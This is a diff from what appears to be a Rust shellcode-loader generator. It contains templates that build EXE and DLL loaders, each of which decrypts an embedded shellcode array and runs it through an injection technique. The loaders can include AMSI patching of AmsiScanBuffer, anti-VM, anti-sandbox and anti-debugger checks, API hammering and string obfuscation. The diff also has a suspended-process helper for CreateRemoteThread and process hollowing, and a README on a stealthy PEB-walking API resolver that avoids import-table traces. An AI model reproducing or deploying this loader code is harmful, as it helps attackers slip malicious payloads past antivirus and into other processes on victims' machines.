+ decrypt_code: self.decrypt_code.expect("decrypt_code is required"),
+ technique_code: self.technique_code.expect("technique_code is required"),
+ technique_function_name: self
+ .technique_function_name
+ .expect("technique_function_name is required"),
+ with_api_hammering: self.with_api_hammering,
+ with_amsi_patch: self.with_amsi_patch,
+ with_string_encryption: self.with_string_encryption,
+ with_dynamic_function_resolver: self.with_dynamic_function_resolver,
+ with_anti_vm: self.with_anti_vm,
+ with_anti_sandbox: self.with_anti_sandbox,
+ with_anti_debugger: self.with_anti_debugger,
+ encryption_type: self.encryption_type.unwrap_or(""),
+ amsi_patch_code: self.amsi_patch_code.unwrap_or(""),
+ evasion_code: self.evasion_code.unwrap_or(""),
+ string_obfuscator: self
+ .string_obfuscator
+ .expect("string_obfuscator is required"),
+ }
+ }
+}
+
+impl Default for TemplateConfigBuilder<'_> {
+ fn default() -> Self {
+ Self::new()
+ }
+}
+
+pub fn generate_random_function_name() -> String {
+ use std::collections::hash_map::RandomState;
+ use std::hash::{BuildHasher, Hash, Hasher};
+
+ let random_state = RandomState::new();
+ let mut hasher = random_state.build_hasher();
+
+ std::time::SystemTime::now()
+ .duration_since(std::time::UNIX_EPOCH)
+ .unwrap()
+ .as_nanos()
+ .hash(&mut hasher);
+
+ std::process::id().hash(&mut hasher);
+
+ let hash = hasher.finish();
+
+ const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+ let length = 10 + (hash % 16) as usize;
+ let mut result = String::with_capacity(length);
+
+ let mut val = hash;
+ for i in 0..length {
+ let idx = if i == 0 {
+ (val % 52) as usize
+ } else {
+ (val % CHARSET.len() as u64) as usize
+ };
+ result.push(CHARSET[idx] as char);
+ val = val.wrapping_mul(6364136223846793005).wrapping_add(1);
+ }
+
+ result
+}
+
+// Note: These functions are separate rather than using a trait-based approach
+// because this file is included in build.rs (line 5) and cannot import
+// crate::cli::BinaryFormat which is only available at runtime.
+// The build script constraint requires keeping these as separate functions.
+
+/// Generate the main.rs template for EXE binaries
+pub fn generate_exe_main_template(config: &TemplateConfig) -> String {
+ let api_hammering_code = if config.with_api_hammering {
+ super::generate_api_hammering_functions()
+ } else {
+ String::new()
+ };
+
+ let amsi_patch_code = if config.with_amsi_patch {
+ config.amsi_patch_code.to_string()
+ } else {
+ String::new()
+ };
+
+ let amsi_patch_call = if config.with_amsi_patch {
+ " let _ = patch_amsi();\n"
+ } else {
+ ""
+ };
+
+ let evasion_code = config.evasion_code.to_string();
+
+ let evasion_checks_call =
+ if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger {
+ crate::evasion::generate_evasion_check_call(
+ config.with_anti_vm,
+ config.with_anti_sandbox,
+ config.with_anti_debugger,
+ )
+ } else {
+ String::new()
+ };
+
+ let string_const = config.string_obfuscator.generate_constants();
+ let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print();
+
+ format!(
+ r#"mod internals {{
+{}
+}}
+
+{}
+
+{}
+
+{}
+
+{}
+
+{}
+
+{}
+
+const ENCRYPTED_SHELLCODE: &[u8] = &{};
+const DECRYPTION_KEY: &[u8] = &{};
+{}
+fn main() {{
+{} {}
+{} {}
+ {}(&decrypted);
+}}
+"#,
+ config.internals_source,
+ super::techniques::common::common_local_memory_imports(),
+ super::techniques::common::common_local_memory_externs(),
+ api_hammering_code,
+ amsi_patch_code,
+ evasion_code,
+ config.technique_code,
+ config.shellcode_array,
+ config.key_array,
+ string_const,
+ amsi_patch_call,
+ config.decrypt_code,
+ evasion_checks_call,
+ decrypt_size_msg,
+ config.technique_function_name
+ )
+}
+
+/// Generate the lib.rs template for DLL binaries
+pub fn generate_dll_lib_template(config: &TemplateConfig) -> String {
+ let api_hammering_code = if config.with_api_hammering {
+ super::generate_api_hammering_functions()
+ } else {
+ String::new()
+ };
+
+ let amsi_patch_code = if config.with_amsi_patch {
+ config.amsi_patch_code.to_string()
+ } else {
+ String::new()
+ };
+
+ let amsi_patch_call = if config.with_amsi_patch {
+ " let _ = patch_amsi();\n"
+ } else {
+ ""
+ };
+
+ let evasion_code = config.evasion_code.to_string();
+
+ let evasion_checks_call =
+ if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger {
+ crate::evasion::generate_evasion_check_call(
+ config.with_anti_vm,
+ config.with_anti_sandbox,
+ config.with_anti_debugger,
+ )
+ } else {
+ String::new()
+ };
+
+ let string_const = config.string_obfuscator.generate_constants();
+ let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print();
+
+ format!(
+ r#"mod internals {{
+{}
+}}
+
+{}
+
+{}
+
+{}
+
+{}
+
+{}
+
+{}
+
+const ENCRYPTED_SHELLCODE: &[u8] = &{};
+const DECRYPTION_KEY: &[u8] = &{};
+{}
+#[no_mangle]
+pub extern "C" fn DllMain(_hinst_dll: *const u8, _fdw_reason: u32, _lpv_reserved: *const u8) -> u32 {{
+{} {}
+{} {}
+ {}(&decrypted);
+ 1
+}}
+
+#[no_mangle]
+pub extern "C" fn get_shellcode_size() -> usize {{
+ ENCRYPTED_SHELLCODE.len()
+}}
+"#,
+ config.internals_source,
+ super::techniques::common::common_local_memory_imports(),
+ super::techniques::common::common_local_memory_externs(),
+ api_hammering_code,
+ amsi_patch_code,
+ evasion_code,
+ config.technique_code,
+ config.shellcode_array,
+ config.key_array,
+ string_const,
+ amsi_patch_call,
+ config.decrypt_code,
+ evasion_checks_call,
+ decrypt_size_msg,
+ config.technique_function_name
+ )
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_exe_template_contains_main_function() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("")
+ .technique_function_name("placeholder")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_exe_main_template(&config);
+
+ assert!(template.contains("fn main()"));
+ assert!(template.contains("const ENCRYPTED_SHELLCODE"));
+ assert!(template.contains("const DECRYPTION_KEY"));
+ }
+
+ #[test]
+ fn test_exe_template_no_example_code() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![];")
+ .technique_code("")
+ .technique_function_name("placeholder")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_exe_main_template(&config);
+
+ assert!(!template.contains("Hello from generated"));
+ assert!(!template.contains("Example usage"));
+ assert!(!template.contains("bytes_to_hex"));
+ }
+
+ #[test]
+ fn test_exe_template_includes_decrypt_code() {
+ let decrypt_code = "let decrypted = decrypt_xor();";
+ let config = TemplateConfig {
+ internals_source: "pub fn test() {}",
+ shellcode_array: "[0x90]",
+ key_array: "[0x41]",
+ decrypt_code,
+ technique_code: "",
+ technique_function_name: "placeholder",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ encryption_type: "xor",
+ amsi_patch_code: "",
+ evasion_code: "",
+ string_obfuscator: Box::new(super::super::NoObfuscation),
+ };
+ let template = generate_exe_main_template(&config);
+
+ assert!(template.contains(decrypt_code));
+ }
+
+ #[test]
+ fn test_dll_template_contains_dllmain() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("")
+ .technique_function_name("placeholder")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_dll_lib_template(&config);
+
+ assert!(template.contains("DllMain"));
+ assert!(template.contains("get_shellcode_size"));
+ assert!(template.contains("const ENCRYPTED_SHELLCODE"));
+ assert!(template.contains("const DECRYPTION_KEY"));
+ }
+
+ #[test]
+ fn test_dll_template_includes_decrypt_code() {
+ let decrypt_code = "let decrypted = decrypt_aes();";
+ let config = TemplateConfig {
+ internals_source: "pub fn test() {}",
+ shellcode_array: "[0x90]",
+ key_array: "[0x41]",
+ decrypt_code,
+ technique_code: "",
+ technique_function_name: "placeholder",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ encryption_type: "aes",
+ amsi_patch_code: "",
+ evasion_code: "",
+ string_obfuscator: Box::new(super::super::NoObfuscation),
+ };
+ let template = generate_dll_lib_template(&config);
+
+ assert!(template.contains(decrypt_code));
+ assert!(template.contains("DllMain"));
+ }
+
+ #[test]
+ fn test_dll_template_dllmain_returns_one() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90]")
+ .key_array("[0x41]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("")
+ .technique_function_name("placeholder")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_dll_lib_template(&config);
+
+ assert!(template.contains("1\n}"));
+ }
+
+ #[test]
+ fn test_exe_template_with_technique() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("fn my_func(data: &[u8]) {}")
+ .technique_function_name("my_func")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_exe_main_template(&config);
+
+ assert!(template.contains("fn main()"));
+ assert!(template.contains("my_func(&decrypted)"));
+ assert!(template.contains("const ENCRYPTED_SHELLCODE"));
+ }
+
+ #[test]
+ fn test_dll_template_with_technique() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("fn my_func(data: &[u8]) {}")
+ .technique_function_name("my_func")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_dll_lib_template(&config);
+
+ assert!(template.contains("DllMain"));
+ assert!(template.contains("my_func(&decrypted)"));
+ assert!(template.contains("get_shellcode_size"));
+ }
+
+ #[test]
+ fn test_generate_random_function_name_format() {
+ let name = generate_random_function_name();
+ assert!(name.len() >= 10 && name.len() <= 25);
+ assert!(name.chars().all(|c| c.is_ascii_alphabetic()));
+ }
+
+ #[test]
+ fn test_generate_random_function_names_are_different() {
+ let name1 = generate_random_function_name();
+ let name2 = generate_random_function_name();
+ assert_ne!(name1, name2);
+ }
+
+ #[test]
+ fn test_exe_template_with_amsi_patch() {
+ let amsi_code = super::super::generate_amsi_patch_code();
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("fn my_func(data: &[u8]) {}")
+ .technique_function_name("my_func")
+ .with_api_hammering(false)
+ .with_amsi_patch(true)
+ .with_string_encryption(false)
+ .with_dynamic_function_resolver(false)
+ .encryption_type("xor")
+ .amsi_patch_code(&amsi_code)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_exe_main_template(&config);
+
+ assert!(template.contains("fn patch_amsi()"));
+ assert!(template.contains("let _ = patch_amsi();"));
+ assert!(template.contains("AmsiScanBuffer"));
+ }
+
+ #[test]
+ fn test_exe_template_without_amsi_patch() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("fn my_func(data: &[u8]) {}")
+ .technique_function_name("my_func")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_exe_main_template(&config);
+
+ assert!(!template.contains("fn patch_amsi()"));
+ assert!(!template.contains("let _ = patch_amsi();"));
+ assert!(!template.contains("AmsiScanBuffer"));
+ }
+
+ #[test]
+ fn test_dll_template_with_amsi_patch() {
+ let amsi_code = super::super::generate_amsi_patch_code();
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("fn my_func(data: &[u8]) {}")
+ .technique_function_name("my_func")
+ .with_api_hammering(false)
+ .with_amsi_patch(true)
+ .with_string_encryption(false)
+ .with_dynamic_function_resolver(false)
+ .encryption_type("xor")
+ .amsi_patch_code(&amsi_code)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_dll_lib_template(&config);
+
+ assert!(template.contains("fn patch_amsi()"));
+ assert!(template.contains("let _ = patch_amsi();"));
+ assert!(template.contains("DllMain"));
+ }
+
+ #[test]
+ fn test_dll_template_without_amsi_patch() {
+ let config = TemplateConfig::builder()
+ .internals_source("pub fn test() {}")
+ .shellcode_array("[0x90, 0x90]")
+ .key_array("[0x41, 0x42]")
+ .decrypt_code("let decrypted = vec![0x90];")
+ .technique_code("fn my_func(data: &[u8]) {}")
+ .technique_function_name("my_func")
+ .with_api_hammering(false)
+ .with_amsi_patch(false)
+ .string_obfuscator(Box::new(super::super::NoObfuscation))
+ .build();
+ let template = generate_dll_lib_template(&config);
+
+ assert!(!template.contains("fn patch_amsi()"));
+ assert!(!template.contains("let _ = patch_amsi();"));
+ assert!(template.contains("DllMain"));
+ }
+
+ #[test]
+ fn test_amsi_patch_with_string_encryption() {
+ use crate::cli::EncryptionKind;
+ use crate::encryption::{create_encryptor, derive_key_bytes};
+
+ let encryption_kind = EncryptionKind::XOR;
+ let encryption_key = "test_key";
+
+ let amsi_dll_str = "amsi.dll";
+ let amsi_scan_buffer_str = "AmsiScanBuffer";
+
+ let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
+
+ let encrypted_dll = encryptor.encrypt(amsi_dll_str.as_bytes()).unwrap();
+ let encrypted_func = encryptor.encrypt(amsi_scan_buffer_str.as_bytes()).unwrap();
+
+ let key_bytes = derive_key_bytes(encryption_key, &encryption_kind);
+
+ let format_as_array = |bytes: &[u8]| -> String {
+ if bytes.is_empty() {
+ return "[]".to_string();
+ }
+ use std::fmt::Write;
+ let mut result = String::with_capacity(bytes.len() * 6 + 2);
+ result.push('[');
+ for (i, byte) in bytes.iter().enumerate() {
+ if i > 0 {
+ result.push_str(", ");
+ }
+ write!(result, "0x{:02x}", byte).unwrap();
+ }
+ result.push(']');
+ result
+ };
+
+ let dll_array = format_as_array(&encrypted_dll);
+ let func_array = format_as_array(&encrypted_func);
+ let key_array = format_as_array(&key_bytes);
+
+ let decrypt_fn = "internals::decrypt_xor";
+ let expect_clause = "";
+
+ let amsi_code = super::super::generate_amsi_patch_code_with_string_encryption(
+ &dll_array,
+ &func_array,
+ &key_array,
+ decrypt_fn,
+ expect_clause,
+ );
+
+ assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL"));
+ assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC"));
+ assert!(amsi_code.contains("AMSI_KEY"));
+ assert!(amsi_code.contains("decrypt_xor"));
+ assert!(amsi_code.contains("LoadLibraryA"));
+ assert!(amsi_code.contains("GetProcAddress"));
+ assert!(amsi_code.contains("VirtualProtect"));
+ assert!(amsi_code.contains("fn patch_amsi()"));
+ }
+
+ #[test]
+ fn test_amsi_patch_with_dynamic_resolver() {
+ use crate::cli::EncryptionKind;
+ use crate::encryption::create_encryptor;
+
+ let encryption_type = "xor";
+ let encryptor = create_encryptor(EncryptionKind::XOR, "test_key");
+
+ let load_library_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
+ let load_library_fn_encrypted = encryptor.encrypt(b"LoadLibraryA").unwrap();
+
+ let load_library_resolver = super::super::generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "LoadLibraryA",
+ encryption_type,
+ "load_library_a",
+ "DECRYPTION_KEY",
+ &load_library_dll_encrypted,
+ &load_library_fn_encrypted,
+ )
+ .unwrap();
+
+ let get_proc_address_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
+ let get_proc_address_fn_encrypted = encryptor.encrypt(b"GetProcAddress").unwrap();
+
+ let get_proc_address_resolver = super::super::generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "GetProcAddress",
+ encryption_type,
+ "get_proc_address",
+ "DECRYPTION_KEY",
+ &get_proc_address_dll_encrypted,
+ &get_proc_address_fn_encrypted,
+ )
+ .unwrap();
+
+ let virtual_protect_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
+ let virtual_protect_fn_encrypted = encryptor.encrypt(b"VirtualProtect").unwrap();
+
+ let virtual_protect_resolver = super::super::generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "VirtualProtect",
+ encryption_type,
+ "virtual_protect",
+ "DECRYPTION_KEY",
+ &virtual_protect_dll_encrypted,
+ &virtual_protect_fn_encrypted,
+ )
+ .unwrap();
+
+ let load_library_cast = super::super::generate_function_type_and_cast(
+ "load_library_a",
+ "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void",
+ );
+
+ let get_proc_address_cast = super::super::generate_function_type_and_cast(
+ "get_proc_address",
+ "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void"
+ );
+
+ let virtual_protect_cast = super::super::generate_function_type_and_cast(
+ "virtual_protect",
+ "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32",
+ );
+
+ let dll_resolver = "const ENCRYPTED_AMSI_DLL: &[u8] = &[0x01];";
+ let func_resolver = "const ENCRYPTED_AMSI_FUNC: &[u8] = &[0x02];";
+
+ let amsi_code = super::super::generate_amsi_patch_code_with_dynamic_resolver(
+ super::super::AmsiDynamicResolverParams {
+ dll_resolver,
+ func_resolver,
+ load_library_resolver: &load_library_resolver,
+ load_library_cast: &load_library_cast,
+ get_proc_address_resolver: &get_proc_address_resolver,
+ get_proc_address_cast: &get_proc_address_cast,
+ virtual_protect_resolver: &virtual_protect_resolver,
+ virtual_protect_cast: &virtual_protect_cast,
+ },
+ );
+
+ assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL"));
+ assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC"));
+ assert!(amsi_code.contains("internals::get_module_base"));
+ assert!(amsi_code.contains("internals::get_function_address"));
+ assert!(amsi_code.contains("load_library_a"));
+ assert!(amsi_code.contains("get_proc_address"));
+ assert!(amsi_code.contains("virtual_protect"));
+ assert!(amsi_code.contains("fn patch_amsi()"));
+ }
+}
diff --git a/src/internals/templates/mod.rs b/src/internals/templates/mod.rs
@@ -0,0 +1,102 @@
+mod amsi_patch;
+mod api_hammering;
+mod cargo_config;
+mod code_context;
+mod code_validator;
+mod encryption;
+mod internals_utils;
+mod main_funcs;
+mod process_helpers;
+mod resolver;
+mod string_obfuscation;
+mod validation;
+mod windows_types;
+
+pub mod generated;
+pub mod techniques;
+
+pub use amsi_patch::*;
+pub use api_hammering::*;
+pub use cargo_config::*;
+pub use code_context::*;
+pub use code_validator::*;
+#[allow(unused_imports)]
+pub use encryption::*;
+pub use generated::*;
+pub use internals_utils::*;
+pub use main_funcs::*;
+#[allow(unused_imports)]
+pub use process_helpers::*;
+pub use resolver::*;
+pub use string_obfuscation::*;
+pub use validation::*;
+#[allow(unused_imports)]
+pub use windows_types::*;
+
+/// Generate the complete internals module source code for embedding in generated binaries
+///
+/// Returns all function implementations concatenated together.
+pub fn generate_internals_source() -> String {
+ format!(
+ "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}",
+ internals_hex_to_bytes(),
+ internals_bytes_to_hex(),
+ internals_xor_bytes(),
+ internals_pad_pkcs7(),
+ internals_unpad_pkcs7(),
+ internals_is_valid_utf8(),
+ internals_compute_checksum(),
+ internals_validate_checksum()
+ )
+}
+
+/// Generate internals module with decryption support for a specific encryption type
+///
+/// Returns function implementations including the appropriate decryption method.
+pub fn generate_internals_source_with_decryption(encryption_type: &str) -> Result<String, String> {
+ use crate::cli::EncryptionKind;
+ use crate::encryption::create_encryptor;
+
+ let base = generate_internals_source();
+
+ // Create a temporary encryptor to get the decryption code
+ let encryption_kind = match encryption_type {
+ "xor" => EncryptionKind::XOR,
+ "aes" => EncryptionKind::AES,
+ "aes256" => EncryptionKind::AES256,
+ "chacha20" => EncryptionKind::Chacha20,
+ "blowfish" => EncryptionKind::Blowfish,
+ "twofish" => EncryptionKind::Twofish,
+ "camellia" => EncryptionKind::Camellia,
+ "" => return Err("Encryption type cannot be empty".to_string()),
+ _ => return Err(format!("Unknown encryption type: {}", encryption_type)),
+ };
+
+ let encryptor = create_encryptor(encryption_kind, "dummy-key");
+ let decryption_fn = encryptor.generate_decrypt_code();
+
+ Ok(format!("{}\n\n{}", base, decryption_fn))
+}
+
+pub fn generate_internals_with_string_decryption(
+ encryption_type: &str,
+ _with_string_encryption: bool,
+) -> Result<String, String> {
+ generate_internals_source_with_decryption(encryption_type)
+}
+
+pub fn generate_internals_with_api_resolver(
+ encryption_type: &str,
+ with_string_encryption: bool,
+ with_dynamic_resolver: bool,
+) -> Result<String, String> {
+ let mut result =
+ generate_internals_with_string_decryption(encryption_type, with_string_encryption)?;
+
+ if with_dynamic_resolver {
+ let api_resolver_code = generate_api_resolver();
+ result = format!("{}\n\n{}", result, api_resolver_code);
+ }
+
+ Ok(result)
+}
diff --git a/src/internals/templates/process_helpers.rs b/src/internals/templates/process_helpers.rs
@@ -0,0 +1,87 @@
+//! Process creation helper functions for injection techniques.
+//!
+//! This module provides reusable process creation logic that is shared
+//! across multiple shellcode injection techniques that need to spawn
+//! a target process in suspended state.
+
+use super::windows_types;
+
+/// Generate the load_process helper function for process injection.
+///
+/// This function creates a suspended process ready for injection.
+/// It's used by techniques like CreateRemoteThread and ProcessHollowing.
+pub fn generate_load_process_function() -> String {
+ format!(
+ r#"
+fn load_process(target: &str) -> ProcessInformation {{
+ {}
+
+ {}
+
+ let mut command_line: Vec<u16> = OsStr::new(target)
+ .encode_wide()
+ .chain(std::iter::once(0))
+ .collect();
+
+ unsafe {{
+ let result = CreateProcessW(
+ ptr::null(),
+ command_line.as_mut_ptr(),
+ ptr::null(),
+ ptr::null(),
+ 0,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ ptr::null(),
+ ptr::null(),
+ &si,
+ &mut pi,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+ }}
+
+ pi
+}}
+"#,
+ windows_types::init_startup_info_w(),
+ windows_types::init_process_information()
+ )
+}
+
+/// Generate CreateProcessW function signature for extern blocks.
+pub fn create_process_w_extern() -> &'static str {
+ r#" fn CreateProcessW(
+ application_name: *const u16,
+ command_line: *mut u16,
+ process_attributes: *const std::ffi::c_void,
+ thread_attributes: *const std::ffi::c_void,
+ inherit_handles: i32,
+ creation_flags: u32,
+ environment: *const std::ffi::c_void,
+ current_directory: *const u16,
+ startup_info: *const StartupInfoW,
+ process_information: *mut ProcessInformation,
+ ) -> i32;"#
+}
+
+/// Generate common imports needed for process creation.
+pub fn process_creation_imports() -> &'static str {
+ r#"use std::ptr;
+use std::ffi::OsStr;
+use std::os::windows::ffi::OsStrExt;"#
+}
+
+/// Generate the command line conversion code snippet.
+///
+/// Converts a Rust string to a null-terminated wide string for Windows APIs.
+pub fn command_line_conversion(target_var: &str) -> String {
+ format!(
+ r#"let mut command_line: Vec<u16> = OsStr::new({})
+ .encode_wide()
+ .chain(std::iter::once(0))
+ .collect();"#,
+ target_var
+ )
+}
diff --git a/src/internals/templates/resolver/README.md b/src/internals/templates/resolver/README.md
@@ -0,0 +1,203 @@
+# Custom API Resolver Usage
+
+## Overview
+
+The custom API resolver provides stealthy Windows API resolution without static Import Address Table (IAT) artifacts using Process Environment Block (PEB) walking.
+
+## Key Features
+
+- **No IAT artifacts**: Module resolution bypasses standard Windows APIs
+- **PEB-based**: Manual traversal of PEB's InLoadOrderModuleList
+- **Runtime resolution**: Dynamic module handle resolution
+- **Multi-architecture**: Supports x64 (GS:[0x60]) and x86 (FS:[0x30])
+- **Unicode support**: Full Unicode case folding for DLL names
+- **Forwarded exports**: Automatic resolution across DLLs
+
+## Generated Code Structure
+
+The resolver generates three components:
+
+1. **PEB Structures**: `PEB`, `PEB_LDR_DATA`, `LIST_ENTRY`, `LDR_DATA_TABLE_ENTRY`, `UNICODE_STRING`
+2. **Helper Function**: `is_dll_match()` - Compares module names using UTF-16
+3. **Main Resolver**: `get_module_base(target_dll: &str) -> *mut c_void` - Walks PEB module list
+
+## Usage Example
+
+```rust
+use myph_v2::internals::templates::resolver::generate_api_resolver;
+
+let resolver_code = generate_api_resolver();
+let template = format!(
+ r#"
+ use std::ffi::c_void;
+ use std::ptr;
+
+ {}
+
+ fn main() {{
+ unsafe {{
+ let kernel32_base = get_module_base("kernel32.dll");
+ if !kernel32_base.is_null() {{
+ println!("kernel32.dll base: {{:p}}", kernel32_base);
+ }}
+ }}
+ }}
+ "#,
+ resolver_code
+);
+```
+
+## Export Parsing
+
+Resolve specific functions from a module's exports:
+
+```rust
+unsafe {
+ let kernel32_base = get_module_base("kernel32.dll");
+
+ if !kernel32_base.is_null() {
+ let load_library = get_function_address(kernel32_base, "LoadLibraryA");
+ let virtual_alloc = get_function_address(kernel32_base, "VirtualAlloc");
+
+ if !load_library.is_null() && !virtual_alloc.is_null() {
+ type LoadLibraryAFn = unsafe extern "system" fn(*const u8) -> *mut c_void;
+ type VirtualAllocFn = unsafe extern "system" fn(*mut c_void, usize, u32, u32) -> *mut c_void;
+
+ let load_library_fn: LoadLibraryAFn = std::mem::transmute(load_library);
+ let virtual_alloc_fn: VirtualAllocFn = std::mem::transmute(virtual_alloc);
+ }
+ }
+}
+```
+
+The parser validates PE signatures, locates export directory, and returns function addresses.
+
+## String Obfuscation Integration
+
+Combine with string obfuscation to hide module names:
+
+```rust
+const ENCRYPTED_DLL_NAME: &[u8] = &[/* encrypted "kernel32.dll\0" */];
+
+unsafe {
+ let dll_name = internals::decrypt_xor(ENCRYPTED_DLL_NAME, &DECRYPTION_KEY);
+ let dll_name_str = std::str::from_utf8(&dll_name).unwrap();
+ let module_base = get_module_base(dll_name_str);
+}
+```
+
+## Advanced Features
+
+### Architecture Support
+
+Automatic detection for correct PEB access:
+- **x64**: Uses `GS:[0x60]`
+- **x86**: Uses `FS:[0x30]`
+
+### Unicode Case Folding
+
+Case-insensitive DLL name matching supporting Latin, Greek, Cyrillic:
+
+```rust
+unsafe {
+ // All resolve to same module
+ let base1 = get_module_base("kernel32.dll");
+ let base2 = get_module_base("KERNEL32.DLL");
+ let base3 = get_module_base("Kernel32.dll");
+ assert_eq!(base1, base2);
+}
+```
+
+### Forwarded Exports
+
+Automatic handling of forwarded exports with recursive resolution:
+
+```rust
+unsafe {
+ let kernel32 = get_module_base("kernel32.dll");
+ let heap_alloc = get_function_address(kernel32, "HeapAlloc");
+ // Automatically resolves "NTDLL.RtlAllocateHeap" if forwarded
+}
+```
+
+Features:
+- Detects forwarded exports via bounds checking
+- Parses "DLL.Function" format
+- Recursive resolution with depth limiting (max 10)
+- Auto-adds ".dll" extension if missing
+
+## Testing
+
+### Unit Tests
+
+Verify structure definitions, helper functions, and code generation:
+
+```bash
+cargo test resolver
+```
+
+### Windows Integration Tests
+
+On Windows, integration tests validate against actual Windows API:
+
+```bash
+cargo test test_resolve_kernel32_integrity
+cargo test test_resolve_function_address_from_exports
+cargo test test_unicode_case_folding_dll_names
+cargo test test_forwarded_exports_resolution
+cargo test test_resolve_with_encrypted_dll_name
+```
+
+Tests compare:
+- Module resolution: PEB walking vs `GetModuleHandleA`
+- Function resolution: Export parsing vs `GetProcAddress`
+- Unicode case folding across variations
+- Forwarded export detection and resolution
+
+## Implementation Details
+
+### PEB Walking
+- Accesses PEB via GS:[0x60] (x64) or FS:[0x30] (x86) using inline assembly
+- Walks InMemoryOrderModuleList linked list
+- Uses CONTAINING_RECORD offset (0x10) for InMemoryOrderLinks
+
+### String Comparison
+- Converts to UTF-16 for comparison
+- Full Unicode case folding (100+ mappings)
+- Supports Latin, Greek, Cyrillic scripts
+
+### Structure Definitions
+- Uses ntapi crate for PEB structures
+- Uses winapi crate for LIST_ENTRY and UNICODE_STRING
+- PE structures for x86 and x64 with conditional compilation
+
+### Export Directory Parsing
+- Validates DOS (0x5A4D "MZ") and PE (0x4550 "PE\0\0") signatures
+- Locates export directory via OptionalHeader.DataDirectory[0]
+- Supports x64 and x86 PE formats
+- Maps name → ordinal → RVA → absolute address
+
+### Forwarded Exports
+- Detects via RVA bounds checking within export directory
+- Parses "DLL.Function" format
+- Recursive resolution with max depth 10
+- Returns null on failure
+
+## Security Considerations
+
+- Multi-architecture support (x64/x86)
+- Unicode case folding for international DLLs
+- Forwarded export handling with depth limiting
+- No error handling in generated code (returns null on failure)
+- Uses unsafe and inline assembly
+- Relies on ntapi/winapi for correct structure layouts
+
+## Future Enhancements
+
+1. ~~Export parsing~~ ✅ Implemented
